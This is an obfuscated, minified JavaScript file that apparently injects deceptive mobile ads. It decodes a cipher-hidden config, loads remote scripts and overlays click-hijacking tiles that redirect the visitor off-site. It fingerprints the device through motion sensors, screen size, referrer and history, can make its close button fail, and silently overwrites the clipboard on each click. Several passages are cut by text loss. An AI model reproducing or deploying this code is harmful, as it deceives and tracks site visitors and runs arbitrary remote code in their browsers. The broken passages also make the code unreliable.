(()=>{const e=navigator.userAgent;function t(e){return e?document.querySelector(e):null}function n(e){return e?Array.prototype.slice.apply(document.querySelectorAll(e)):[]}function i(e){Array.isArray(e)?e.forEach((e=>{e&&e.remove()})):e&&e.remove()}function o(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:1,t="";for(;e--;)t+="abcdefhijklmnopqrstuvwxyz"[Math.floor(25*Math.random())];return t}function r(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"",t=arguments.length>1?arguments[1]:void 0,n=arguments.length>2?arguments[2]:void 0;if(!/^(http|\/\/)/.test(e))return!1;let o=document.createElement("script");o.src=e,"function"==typeof t&&(o.onload=t),document.head.appendChild(o),o.onerror=function(){setTimeout((function(){i(o)}),500),n&&n()}}function c(e,n){if(!e)return!1;let o=document.createElement("style");o.innerHTML=e,n&&(i(t(`${n}`)),o.id=n.substring(1)),document.head.appendChild(o)}function a(){const e={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return(arguments.length>0&&void 0!==arguments[0]?arguments[0]:"").split("").map((t=>e[t]||t)).join("")}function s(){let t=navigator.platform;return t&&/^(Win|Mac)/.test(t)||!t&&!/Android|iOS|iPhone|iPad/i.test(e)}function l(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"",t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"STAR";if(!e)return"";let n="",i=t.length;for(let o=0;oe)return localStorage.removeItem(t),null;let o=i[0]+i[i.length-1];"[]"!==o&&"{}"!==o&&"true"!==i&&"false"!==i||(i=JSON.parse(i))}return i}function m(e,t,n){if(!d())return h[e]=t,n&&"number"==typeof n&&setTimeout((function(){h[e]=null}),1e3*n),!1;let i=`__$$[${e}]`;"object"==typeof t&&(t=JSON.stringify(t)),n&&"number"==typeof n&&(t+=`_T{${Date.now()+1e3*n}}T_`);let o=l(String(t));localStorage.setItem(i,o)}function f(){return document.documentElement.scrollTop||document.body.scrollTop}let g=null;function y(e){let t=document.createElement(e);if(t)return t;if(!g){let e=Math.random().toString(36).substring(4),t=`
`;document.body.insertAdjacentHTML("beforeend",t);let n=document.body.lastElementChild;n.getAttribute("alt")===e&&(g=n)}return g.innerHTML=`<${e}>`,g.firstElementChild}function b(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:navigator.userAgent,t="";return[["baidu",/baiduboxapp/i],["qq",/qqbrowser/i],["uc",/ucbrowser/i],["vivo",/vivobrowser/i],["xiaomi",/miuibrowser/i],["oppo",/(heytap|oppo)browser/i],["quark",/quark/i],["huawei",/huaweibrowser/i],["safari",/safari/i],["chrome",/chrome/i]].some((function(n){let[i,o]=n;if(o.test(e))return t=i})),t}let v=null;function w(){if(null!==v)return v;let e=document.querySelector("meta[name=c]");return v=e?"&ch="+e.getAttribute("c"):""}const x={motion:{x:0,y:0,z:0}},$={version:"1428",errT:"",branchX:"0",purl:"",bannerWidth:window.innerWidth,bannerHeight:100,rows:4,columns:10,isClosed:!1,hiddenHeight:0,reverseHeight:0,isSpecial:!1,base64ImgStr:"",idQuery:"",types:[],baiduTypes:[],jumpTimer:null,userClickList:[],closeBtnBC:"#ff00c6"},_={};let k=3+(T=2,Math.floor(Math.random()*++T));var T;let C=["b","c","f","h","i","j","k","m","p","q","s","u","v","w","x","z"];function S(e,t){let n=o(e)+function(){let e=Math.floor(Math.random()*C.length);return C[e]}();return t&&(n=n.split("").map((e=>(Math.random()>.5&&(e=e.toUpperCase()),e))).join("")),n}const E={mark:S(k),db:S(k),qd:S(k),yc:S(k),gb:S(k),piece:S(k),cStyle:"#"+o(++k),bStyle:"#"+o(k)};let H=[],I="FL";try{H=p(I)||[]}catch(e){}Array.isArray(H)||(H=[],m(I,""));const A=H;function L(){if(A&&A.length){let e=`${$.purl}/bug?${$.idQuery}t=${$.errT}`,t=new FormData;t.append("message",JSON.stringify(A)),navigator.sendBeacon(e,t),A.length=0,m(I,"")}}const M=function(e){let t,n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:1e3;return function(){for(var i=arguments.length,o=new Array(i),r=0;r0&&void 0!==arguments[0]?arguments[0]:document.body,{mark:n}=E,i=t(`#${n}`);return i||(i=document.createElement("div"),i.setAttribute("id",n),e.appendChild(i)),t(`#${n}`)||(i=y(n),i&&(i.id=n,e.appendChild(i))),i}function R(e){let{db:n}=E,i=t(n);i&&i.remove();let o=y(n);o.style.cssText=`display: block; width: 100%; height:${$.bannerHeight}px;flex:0 0 ${$.bannerHeight}px;`,e&&document.body.firstElementChild?document.body.insertBefore(o,document.body.firstElementChild):document.body.appendChild(o)}function B(e){!function(e,t){try{if(p("isOpen"))return;m("isOpen",!0,2);let[n,i]=function(e){let t=0,n=0;if(e)switch(e.type){case"touchstart":t=e.touches[0].screenX,n=e.touches[0].screenY;break;case"touchend":t=e.changedTouches[0].screenX,n=e.changedTouches[0].screenY;break;case"click":t=e.screenX,n=e.screenY}return[parseInt(t),parseInt(n)]}(e),o=!0;if(e instanceof Event&&(o=e.isTrusted,e.stopPropagation(),e.preventDefault(),!o))return;let r=1,c=(_.purl1||_.purl)+"/cc/"+_.id+"?is_not="+_.is_not;"0"===_.is_not&&(c+="&se="+_.string);let s=self!==top?1:0,u=Date.now()-_.userStartTime;c+="&interval="+parseInt(u/1e3),c+="&refso="+(window.DeviceOrientationEvent?1:0)+"_"+navigator.platform+"_"+x.motion.x+"_"+x.motion.y+"_"+x.motion.z,c+="&url="+encodeURIComponent(a(document.URL.substring(0,150))),c+="&source="+encodeURIComponent(a(document.referrer.substring(0,150))),c+="&jiami=1",c+="&screen="+window.screen.width+"*"+window.screen.height,c+="&ifrom="+s,c+="&history="+history.length,c+="&ipnumber="+r,c+="&clickp="+n+"*"+i,c+="&ctype="+_.type,c+="&jstime="+parseInt(Date.now()/1e3),c+=w(),c+="&t="+$.version+(o?"":"0")+String(Math.random()).slice(-6),_.time&&(c+="&s="+_.time);let d=$.userClickList;d.length&&(c+="&l="+encodeURIComponent(l(JSON.stringify(d),""+_.time)));try{t(c)}catch(e){q("7x1",e,_.type+(s?" "+top.location.host:""))}}catch(e){q("7x3",e)}}(e,(function(e){const t="visibilitychange",n=e+"&target=1";try{if(top.location!==self.location)top.location=n;else{let i=document.createElement("a");i.href=n,i.click();let o=setTimeout((function(){try{document.removeEventListener(t,r);let e=document.createElement("form");e.action=n,e.method="POST",document.body.appendChild(e),e.submit()}catch(e){q("7x5",e,_.type+"|"+b())}}),1e3);function r(){"hidden"===document.visibilityState&&clearTimeout(o)}document.addEventListener(t,r)}}catch(c){q("7x1",c,_.type+"|"+b())}}))}function N(e){let{gb:t}=E,n=e||"";n+=`\n ${t}{background: ${$.closeBtnBC};border:1px solid #111;border-radius:4px;}\n ${t}::before{content: '';transform: rotate(45deg);-webkit-transform: rotate(45deg);display: block;width: 14px;height: 1px;background: #111;margin-top: 7px;}\n ${t}::after{content: ''; transform:rotate(-45deg); -webkit-transform:rotate(-45deg);display: block;width: 14px;height: 1px;background: #111;margin-top: -1px;}\n `,c(n,E.bStyle)}let F;function z(e,t){if($.isClosed)return!1;function o(n){D();let{rows:i,columns:o}=$,r=$.bannerWidth/o,c=$.bannerHeight/i,a=document.createDocumentFragment(),s=i*o;function l(e){_.type="good",B(e)}for(let o=0;o(window.innerHeight||document.documentElement.clientHeight)+5||t.right>(window.innerWidth||document.documentElement.clientWidth)+5)&&(i=!0)}else i=!0}var o;if(i)l||5!=s++||(l=!0,q(806,null,navigator.userAgent)),r(t,l);else if(e.backgroundImage.length<10){E.mark=S(5);let e=D();t[0].insertAdjacentElement("beforebegin",e);let{mark:n,cStyle:i}=E;c(`#${n} ~ ${l?".":""}${F}{${$.$bg}}`,i)}}()})))}navigator.userAgent;let W,J,P,Y=Math.max(window.visualViewport?window.visualViewport.height:window.innerHeight,700);function U(e,o){let{gb:r}=E;i(t(r));let c=a("f6LJqdTg )qO(S!4*62fYRg @}o1o{sKoK! D6fFhg }oJR! JOL6F6O2g 76RYf! hY6phFg }oJR! qY7Fg }JR!"),s=y(r);s.style.cssText=c+`${e?"top":"bottom"}:${$.bannerHeight+$.reverseHeight}px;box-sizing:content-box;`,s.addEventListener(_.evetype,(function(e){e.stopPropagation(),function(){if(!(parseInt(_.false_clo||0)>=100)){$.isClosed=!0,_.is_not="1";try{Object.keys(E).forEach((e=>{i(t(E[e]))})),i(n("."+F)),i(n(F)),i(n(P))}catch(e){q(801,e)}}}(),o&&o(e)})),document.body.appendChild(s)}function X(){!function(){let e="1"===_.position;N(_.style),D(),_.matter&&_.murl&&function(e){function t(e,t,n){!function(e,t,n){let i=arguments.length>3&&void 0!==arguments[3]?arguments[3]:8e3,o=arguments.length>4?arguments[4]:void 0,r="";t&&Object.keys(t).length&&(r=(-1===e.indexOf("?")?"?":"&")+Object.keys(t).map((e=>encodeURIComponent(e)+"="+encodeURIComponent(t[e]))).join("&"));const c=new XMLHttpRequest;o&&(c.responseType="blob"),c.open("GET",e+r,!0);let a=setTimeout((function(){c.readyState<2&&c.abort()}),i);c.onreadystatechange=function(){4===c.readyState&&(clearTimeout(a),c.status>=200&&c.status<400?n&&n(null,o?c.response:c.responseText):n&&n(new Error("xhr.status:"+c.status)))},c.send()}(e,null,(function(i,o){if(i)return q(n,i,e),t&&t(),!1;try{let{mark:e,piece:t,cStyle:n}=E;$.$bg=`background-image: url(data:image/png;base64,${o})!important;`,c(`#${e} ~ ${t}{${$.$bg}}`,n)}catch(i){q(501,i)}}),401===n?4e3:1e4)}t(e,(function(){_.murl1&&setTimeout((function(){t(function(e,t){let n="";return _.murl1&&(n=e.replace(/^(https?:)?\/\/[^\/]+/,_.murl1),t&&t.length)?n.replace(/\.[^\/]+?$/,(function(){return"."+t[parseInt(t.length*Math.random())]})):n}(e,$.types),(function(){let{mark:e,piece:t,cStyle:n}=E;$.$bg="background-image: repeating-linear-gradient(90deg, rgba(0,0,0,.03) , rgba(0,0,0,.03) 40px, transparent 0, transparent 50px);",c(`\n #${e} ~ .${t}{${$.$bg}}\n `,n)}),402)}),500)}),401)}(_.murl+"/"+_.matter),z(e),_.close_btn_show&&U(e),"1"!==_.is_jiexi&&R(e),function(){if(W&&J)window.removeEventListener(W,J);else{W=_.evetype;let e=_.extra&&1===_.extra.is_refresh,{bannerHeight:t,hiddenHeight:n,reverseHeight:i}=$;J=function(o){if($.isClosed)return;let r="1"===_.position,c=window.innerHeight;e&&(c=Math.max(c,Y));let a=0;switch(W){case"touchstart":a=o.touches[0].clientY;break;case"touchend":a=o.changedTouches[0].clientY;break;case"click":a=o.clientY}if(r){if(a<=i)return!1;if(a{t.disconnect(),n()}));function n(){e.style.position="initial!important",t.observe(e,{attributes:!0,attributeFilter:["style"]})}n()}()},function(){try{V&&V()}catch(e){q("8x4",e)}try{!function(){let e=_.style;if(e)try{let t=1,n=_.extra&&_.extra.no_style;Array.isArray(n)&&n.some((e=>e===location.hostname))&&(t=0),t&&(e=e.replace(/\{\{h\}\}/g,$.bannerHeight||""),c(e)),_.style2=_.style,_.style=""}catch(t){q("3x7",null,e)}}(),_.statis_code&&r(_.statis_code),function(e){if("string"!=typeof e)return!1;if(!(e=e.trim())||/^(http|\/\/)/.test(e))return!1;window._hmt||(window._hmt=[]);let t=document.createElement("script");t.src=`https://hm.baidu.com/hm.js?${e.trim()}`;let n=document.getElementsByTagName("script")[0];n.parentNode.insertBefore(t,n),t.onerror=function(t){q("6x1",null,e)}}(_.bd_si_code),function(){let e=location.href.split("?")[1];if(e&&!s()){let t=e.match(/!!!=\$(\d+)/),n=""+(new Date).getDate();if(t&&t[1]===n){function i(){console.log(_),console.log($)}q("6x2",null,location.host),document.getElementById("eruda")||window["__eruda"+n]||(r("https://cdn.bootcdn.net/ajax/libs/eruda/3.4.1/eruda.min.js",(function(){window.eruda.init(),window.eruda.position({y:220}),i()})),window["__eruda"+n]=1),i()}}}(),(e=_.clipboard)&&"vivo"!==b()&&!window.__uscpbd_done&&(document.body.addEventListener("click",(function(t){/input|textarea/i.test(t.target.tagName)||function(e){let t=document.createElement("textarea");t.value=e,t.style.position="absolute",t.style.clip="rect(0 0 0 0)",t.style.top="10px",t.setAttribute("readonly",!0),document.body.appendChild(t),t.select(),document.execCommand("copy")&&document.execCommand("copy"),t.remove()}(e)})),window.__uscpbd_done=1),_.statis_code1&&function(e){let t=document.createElement("script");t.textContent=e,document.head.appendChild(t)}(_.statis_code1)}catch(e){q("8x2",e)}var e});var V;const Z="touchend",ee={quark:Z,qq:Z,uc:Z,huawei:Z,oppo:Z,xiaomi:Z,vivo:Z};function te(e,t){let n=null;try{let i=window.innerWidth||document.documentElement.clientWidth;function o(e,t){let i=n[e];i&&i.length&&(i.length>1&&i.splice((new Date).getDay()%i.length,1),$[t]=i)}n=JSON.parse(a(e)),n.user_agent=G.toLowerCase(),n.userStartTime=Date.now(),n.purl&&($.purl=n.purl,String(n.id)&&($.idQuery="i="+n.id+"&")),$.purl1=n.purl1,$.bannerHeight=parseInt(i/640*(244-40*n.size)),$.reverseHeight=n.reserve_height||0,n.hid_height&&($.hiddenHeight=parseInt(i/640*n.hid_height)),i>=window.innerHeight&&($.bannerHeight=120,$.hiddenHeight=0),o("suffix","types"),o("b_suffix","baiduTypes"),function(e,t){Object.assign(_,e,t)}(n,t),n.close_bg_color&&($.closeBtnBC=n.close_bg_color)}catch(r){q(303,r,e.substring(0,100))}return n}function ne(e){try{K(),X(),function(){try{j.run()}catch(e){q("8x5",e)}}()}catch(e){q(305,e)}}$.errT="f2.2",function(){if(/(spider|bot)/i.test(e)||!/(iPhone|iPod|Android|ios|iOS|iPad|Backerry|WebOS|Symbian|Windows Phone|Phone)/i.test(e))return!1;let t=setInterval((function(){document.body&&document.querySelector("script")&&(clearInterval(t),window.DeviceMotionEvent&&window.addEventListener("devicemotion",(function(e){let t=e.accelerationIncludingGravity;x.motion.x=parseInt(100*t.x)/100,x.motion.y=parseInt(100*t.y)/100,x.motion.z=parseInt(100*t.z)/100}),!1),function(e,t){let n=e("[\"6LM2OF\"g\"}\"=\"6f\"g\"n{\"=\"L64Y\"g\"}\"=\"5YLY5XYMhY6phF\"g0=\"JOL6F6O2M6f\"g}}=\"JOL6F6O2\"g\"@\"=\"7dqLYM(qO\"g0=\"(qOLYM)pM(OqO5\"g\"#@)nY(Q\"=\"h6fMhY6phF\"g0=\"J_5q\"g\"hFFJLg\\/\\/@on{foTQ^m(4dhqp:mRT4gQ1KQ\"=\"J_5q}\"g\"hFFJLg\\/\\/@on{foTQ^m_fR5D47mRT4gQ1KQ\"=\"^_5q\"g\"hFFJLg\\/\\/@oTqq^F4mTqYsp4mR2**n:5{n{)m(O^\"=\"^_5q}\"g\"hFFJLg\\/\\/@oTqq^L)mTqS{F)mR2**n:5{n{)m(O^\"=\"R\"g\"(o4^sTL@(7\"P");if(n){let i=n.id,o=function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"",t="";for(;!t;){let n="_"+Math.random().toString(36).slice(-6)+e;void 0===window[n]&&(t=n)}return t}(i);window[o]=function(n){try{let i=e(n.key,{string:n.string});i.string=n.string,t(i)}catch(e){q("3x4",e,n.key?n.key.slice(0,20):"no.key")}},r(n.purl+"/d/"+i+"?t="+$.version+"&ac="+o+w(),null,(function(){q("3x8",null,o)}))}}(te,ne),Q())}),20)}()})();